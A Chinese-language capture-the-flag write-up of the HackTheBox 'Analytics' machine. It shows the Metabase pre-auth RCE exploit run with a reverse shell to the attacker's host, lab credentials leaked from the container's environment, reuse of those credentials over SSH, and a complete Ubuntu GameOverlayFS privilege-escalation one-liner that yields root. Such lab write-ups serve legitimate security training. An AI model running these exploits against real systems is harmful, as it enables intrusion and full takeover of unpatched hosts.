HTB Analytics 渗透测试详细记录
摘要
本文详细记录了对HTB Analytics (10.10.11.233) 目标靶机的完整渗透测试过程。成功利用Metabase应用程序的预认证远程代码执行漏洞获得初始访问权限,随后通过环境变量中泄露的凭据实现从Docker容器到宿主机的横向移动,最终利用Ubuntu内核漏洞(CVE-2023-2640 & CVE-2023-32629)成功提升至root权限。整个攻击链展示了从外部网络到完全控制目标系统的完整过程。
关键技术
- Metabase 0.46.6 Pre-Auth RCE (CVE-2023-38646): 利用Metabase应用程序的预认证远程代码执行漏洞
- Docker容器逃逸: 通过泄露的环境变量凭据实现容器到宿主机的横向移动
- Ubuntu内核提权 (CVE-2023-2640 & CVE-2023-32629): 利用Ubuntu 22.04.2系统的内核漏洞实现本地权限提升
- 子域名枚举: 通过HTTP重定向发现隐藏的子域名服务
1. 初始侦察阶段
1.1 端口扫描
使用Nmap对目标主机进行全面的端口扫描和服务识别:
nmap -sT -sCV -O -p22,80 -v -oN nmapscan_0158/tcp_detailed_scan.txt 10.10.11.233
参数详解:
-sT
: TCP Connect扫描,建立完整的TCP连接-sC
: 使用默认NSE脚本进行服务识别-sV
: 版本检测,识别服务版本信息-O
: 操作系统检测-p22,80
: 指定扫描端口22(SSH)和80(HTTP)-v
: 详细输出模式-oN
: 将结果以正常格式输出到指定文件
扫描结果分析:
# Nmap 7.94SVN scan initiated Thu Jul 10 01:59:30 2025 as: nmap -sT -sCV -O -p22,80 -v -oN nmapscan_0158/tcp_detailed_scan.txt 10.10.11.233
Nmap scan report for 10.10.11.233
Host is up (0.0086s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
关键发现:
- SSH服务运行在22端口,版本为OpenSSH 8.9p1
- HTTP服务运行在80端口,使用nginx 1.18.0
- HTTP服务存在重定向到
analytical.htb
域名 - 操作系统推测为Ubuntu Linux
1.2 域名配置
发现HTTP服务重定向到 analytical.htb
,需要配置本地hosts文件:
echo "10.10.11.233 analytical.htb" | sudo tee -a /etc/hosts
命令详解:
echo
: 输出指定字符串|
: 管道符,将前一个命令的输出作为后一个命令的输入sudo tee -a
: 以root权限追加内容到文件/etc/hosts
: 本地DNS解析文件
2. 服务探测与信息收集
2.1 Web应用程序识别
访问 http://analytical.htb
后,发现登录按钮指向另一个子域名 http://data.analytical.htb/
。
配置新的子域名:
echo "10.10.11.233 data.analytical.htb" | sudo tee -a /etc/hosts
2.2 应用程序指纹识别
访问 http://data.analytical.htb/
发现运行的是Metabase应用程序。Metabase是一个开源的商业智能和数据分析平台,允许用户通过可视化界面查询和分析数据。
关键信息:
- 应用程序:Metabase
- 访问地址:http://data.analytical.htb/
- 特征:开源数据分析平台
3. 漏洞识别与初始访问
3.1 漏洞搜索
在Exploit-DB数据库中搜索Metabase相关漏洞,发现:
- 漏洞名称: Metabase 0.46.6 - Pre-Auth Remote Code Execution
- 漏洞地址: https://www.exploit-db.com/exploits/51797
- 漏洞类型: 预认证远程代码执行
- 影响版本: Metabase 0.46.6及之前版本
3.2 漏洞利用
下载并执行漏洞利用脚本:
python a.py -l 10.10.14.11 -p 9999 -P 8888 -u http://data.analytical.htb
参数详解:
-l 10.10.14.11
: 本地监听IP地址(攻击者机器)-p 9999
: 反向shell连接端口-P 8888
: 本地HTTP服务端口-u http://data.analytical.htb
: 目标Metabase URL
执行结果: 成功获得Metabase容器内的shell访问权限。
3.3 环境信息收集
在获得的shell中执行环境变量查看:
metabase_shell > env
输出结果分析:
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=1b929e86eedc
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=2
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/usr/bin/env
关键发现:
- 当前环境为Docker容器(HOSTNAME格式为容器ID)
- 发现凭据信息:
- 用户名:
metalytics
- 密码:
An4lytics_ds20223#
- 用户名:
4. 横向移动
4.1 SSH登录尝试
使用发现的凭据尝试SSH登录到宿主机:
ssh metalytics@10.10.11.233
登录过程:
└──╼ [★]$ ssh metalytics@10.10.11.233
The authenticity of host '10.10.11.233 (10.10.11.233)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.233' (ED25519) to the list of known hosts.
metalytics@10.10.11.233's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)
系统信息分析:
- 操作系统:Ubuntu 22.04.3 LTS
- 内核版本:6.2.0-25-generic
- 磁盘使用率:93.2%
- Docker网络:172.17.0.1
- 成功从容器逃逸到宿主机
4.2 用户权限确认
metalytics@analytics:~$ ls
user.txt
metalytics@analytics:~$ cat user.txt
e310d623c31*********5ad7e444c
成功获取user flag。
5. 权限提升前的信息收集
5.1 sudo权限检查
sudo -l
[sudo] password for metalytics:
Sorry, user metalytics may not run sudo on localhost.
结果: metalytics用户无sudo权限。
5.2 系统版本识别
uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
关键信息:
- 内核版本:6.2.0-25-generic
- Ubuntu版本:22.04.2
- 架构:x86_64
6. 权限提升
6.1 漏洞识别
Ubuntu 22.04.2系统存在已知的本地权限提升漏洞:
- CVE-2023-2640: GameOverlay FS权限提升漏洞
- CVE-2023-32629: 本地权限提升漏洞
6.2 漏洞利用
执行权限提升POC:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("su root")'
命令详解:
unshare -rm
: 创建新的命名空间,-r创建用户命名空间,-m创建挂载命名空间mkdir l u w m
: 创建overlay文件系统所需的目录cp /u*/b*/p*3 l/
: 复制python3到lower目录setcap cap_setuid+eip
: 设置python3的setuid能力mount -t overlay
: 创建overlay文件系统os.setuid(0)
: Python代码设置UID为0(root)
6.3 获取root权限
直接读取root flag:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cat /root/root.txt")'
8aec3d3addbb*********36eacdc64e
获取交互式root shell:
metalytics@analytics:~$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("su root")'
root@analytics:/home/metalytics# cd /root
root@analytics:~# whoami
root
7. 总结
攻击链路图
互联网
|
v
[10.10.11.233:80] --> 重定向 --> analytical.htb
|
v
[登录按钮] --> data.analytical.htb (Metabase)
|
v
[CVE-2023-38646] --> Metabase RCE --> Docker容器Shell
|
v
[环境变量泄露] --> metalytics:An4lytics_ds20223#
|
v
[SSH横向移动] --> 宿主机普通用户权限
|
v
[CVE-2023-2640/32629] --> Ubuntu内核提权 --> root权限
各阶段关键点总结
- 侦察阶段: 通过Nmap扫描识别开放端口和服务版本
- 信息收集: 通过HTTP重定向发现子域名,识别Metabase应用
- 初始访问: 利用Metabase预认证RCE漏洞获得容器权限
- 横向移动: 通过环境变量中的凭据SSH登录到宿主机
- 权限提升: 利用Ubuntu内核漏洞实现root权限提升
攻击向量展示
- 应用层漏洞: Metabase预认证远程代码执行
- 配置缺陷: 环境变量中存储明文凭据
- 系统漏洞: Ubuntu内核权限提升漏洞
- 信息泄露: 通过环境变量泄露敏感信息
结束语
本次打靶练习展示了一个经典的攻击链,从外部访问到最终获得系统root权限。
Comments 1 条评论
这个好像我课上做过类似的